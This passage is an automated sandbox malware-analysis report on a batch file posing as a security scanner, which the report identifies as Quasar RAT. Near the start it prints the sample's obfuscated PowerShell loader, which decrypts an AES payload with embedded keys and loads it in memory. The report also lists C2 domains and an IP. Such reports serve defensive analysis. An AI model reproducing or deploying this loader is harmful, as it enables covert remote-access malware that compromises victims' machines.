Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\$sxr-powershell.exe "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5088).WaitForExit();[System.Threading.Thread]::Sleep(5000); function ZXowG($YGfCS){ $HJBVM=[System.Security.Cryptography.Aes]::Create(); $HJBVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $HJBVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $HJBVM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc='); $HJBVM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w=='); $SHNYR=$HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')(); $ptoRz=$SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YGfCS, 0, $YGfCS.Length); $SHNYR.Dispose(); $HJBVM.Dispose(); $ptoRz;}function MiajR($YGfCS){ $VHZiJ=New-Object System.IO.MemoryStream(,$YGfCS); $MKYCr=New-Object System.IO.MemoryStream; $pphYy=New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXd	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{ee0091e4-9e0c-4ff3-b26f-57d4a238bd7c}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{f5381469-1700-4694-82dd-1722ad94b3e0}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{f78b27af-93da-4459-95e7-4c5d26a44dc8}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{85d85a52-fed6-47b1-b615-c3a69ff1ad14}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{8c0bd129-911b-4af2-a0bc-93995d45cd5f}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{0979c3ff-3e63-4ea9-9d2b-0e24c33cbca9}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{59453cd9-80c7-4c7f-84ca-38ec20f032b9}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{8b9e4941-156b-4561-b75c-88dc752d3d8b}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{da1a065e-b06d-4c17-9fd5-69413fe213f9}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{2c62f067-a6a0-49cc-8f1a-bf6b18a4e5be}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\SysWOW64\dllhost.exe

Code function: 23_2_00401BC6 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

23_2_00401BC6

Source: C:\Windows\SysWOW64\dllhost.exe

Code function: 23_2_00401BC6 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

23_2_00401BC6

Source: dwm.exe, 0000001E.00000002.2927665635.000002BAA7B6D000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000001E.00000000.2057222338.000002BAA7B6D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: winlogon.exe, 00000018.00000000.2043727708.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000018.00000002.2916405996.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001E.00000002.2930465673.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000018.00000000.2043727708.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000018.00000002.2916405996.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001E.00000002.2930465673.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 00000018.00000000.2043727708.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000018.00000002.2916405996.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001E.00000002.2930465673.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: winlogon.exe, 00000018.00000000.2043727708.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000018.00000002.2916405996.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001E.00000002.2930465673.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Windows\$sxr-cmd.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	16_2_00007FF6155051EC
Source: C:\Windows\$sxr-cmd.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,	16_2_00007FF6154F6EE4
Source: C:\Windows\$sxr-cmd.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	16_2_00007FF615503140

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml\v4.0_4.0.0.0__b77a5c561934e089\System.Data.SqlXml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\$sxr-powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\$sxr-mshta.exe

Code function: 13_2_000001A00AAE1540 cpuid

13_2_000001A00AAE1540

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\$sxr-mshta.exe

Code function: 13_2_000001A00BDB7AE0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

13_2_000001A00BDB7AE0

Source: C:\Windows\System32\dllhost.exe

Code function: 22_2_000000014000165C CreateNamedPipeW,

22_2_000000014000165C

Source: C:\Windows\$sxr-mshta.exe

13_2_00007FF7142F1008

Source: Amcache.hve.10.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Quasar RAT

Source: Yara match

File source: Process Memory Space: $sxr-powershell.exe PID: 5088, type: MEMORYSTR

Remote Access Functionality

Yara detected Quasar RAT

Source: Yara match

File source: Process Memory Space: $sxr-powershell.exe PID: 5088, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
1 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	11 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	1 Scripting	1 Valid Accounts	1 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Email Collection	Exfiltration Over Bluetooth	1 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	2 Native API	1 Scheduled Task/Job	11 Access Token Manipulation	1 Scripting	Security Account Manager	37 System Information Discovery	SMB/Windows Admin Shares	11 Input Capture	Automated Exfiltration	1 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	21 Command and Scripting Interpreter	Login Hook	413 Process Injection	1 Obfuscated Files or Information	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	Traffic Duplication	1 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	1 Scheduled Task/Job	3 Software Packing	LSA Secrets	41 Security Software Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	31 PowerShell	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	41 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	121 Masquerading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	1 Valid Accounts	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses
Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	41 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Exfiltration Over Unencrypted Non-C2 Protocol	Mail Protocols			Firmware Corruption	Domains	Network Security Appliances
Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	11 Access Token Manipulation	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	Exfiltration Over Physical Medium	DNS			Resource Hijacking	DNS Server	Gather Victim Org Information
Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	413 Process Injection	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Exfiltration over USB	Proxy			Network Denial of Service	Virtual Private Server	Determine Physical Locations
Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	1 Hidden Files and Directories	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Commonly Used Port	Internal Proxy			Direct Network Flood	Server	Business Relationships

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
WinScanGuard_v.2.1.bat	0%	ReversingLabs
WinScanGuard_v.2.1.bat	3%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	0%	ReversingLabs
C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	0%	Virustotal	Browse
C:\Windows\$sxr-cmd.exe	0%	ReversingLabs
C:\Windows\$sxr-cmd.exe	0%	Virustotal	Browse
C:\Windows\$sxr-mshta.exe	0%	ReversingLabs
C:\Windows\$sxr-mshta.exe	0%	Virustotal	Browse
C:\Windows\$sxr-powershell.exe	0%	ReversingLabs
C:\Windows\$sxr-powershell.exe	0%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
eu-central-7075.packetriot.net	16%	Virustotal		Browse
throbbing-mountain-09011.pktriot.net	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://james.newtonking.com/projects/json	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
eu-central-7075.packetriot.net	167.71.56.116	true	true	16%, Virustotal, Browse	unknown
throbbing-mountain-09011.pktriot.net	unknown	unknown	true	2%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046472218.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2908118338.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	$sxr-powershell.exe, 00000012.00000002.2928056042.0000028528E04000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.newtonsoft.com/jsonschema	$sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.newtonsoft.com/json	$sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.10.dr	false		high
https://www.nuget.org/packages/Newtonsoft.Json.Bson	$sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6	$sxr-powershell.exe, 00000015.00000002.2927032534.000002428794F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2285788055.0000020CA1A91000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 00000012.00000002.2928056042.00000285285E1000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 00000015.00000002.2927032534.0000024287975000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 00000019.00000000.2046472218.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000002.2908118338.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	lsass.exe, 00000019.00000002.2907945762.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000019.00000000.2046445898.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2285788055.0000020CA1A91000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 00000012.00000002.2928056042.00000285285E1000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 00000015.00000002.2927032534.000002428799C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://james.newtonking.com/projects/json	$sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/Vh5j3k	$sxr-mshta.exe, 0000000D.00000002.2917110489.000001A00A80C000.00000004.00000020.00020000.00000000.sdmp, $sxr-mshta.exe, 0000000D.00000003.1934060188.000001A00A80F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/JamesNK/Newtonsoft.Json	$sxr-powershell.exe, 00000012.00000002.3104746555.00000285389DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dahall/taskscheduler	WinScanGuard_v.2.1.bat.exe, 00000002.00000002.2138245203.0000020C81961000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/odirm	$sxr-mshta.exe, 0000000D.00000002.2917110489.000001A00A80C000.00000004.00000020.00020000.00000000.sdmp, $sxr-mshta.exe, 0000000D.00000003.1934060188.000001A00A80F000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
167.71.56.116	eu-central-7075.packetriot.net	United States		14061	DIGITALOCEAN-ASNUS	true

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1352643
Start date and time:	2023-12-03 16:54:14 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	12
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	WinScanGuard_v.2.1.bat
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winBAT@49/18@1/1
EGA Information:	Successful, ratio: 93.3%
HCA Information:	Successful, ratio: 98% Number of executed functions: 87 Number of non-executed functions: 289
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, WerFault.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.89.179.12, 20.42.65.92
Excluded domains from analysis (whitelisted): onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target dllhost.exe, PID 7132 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
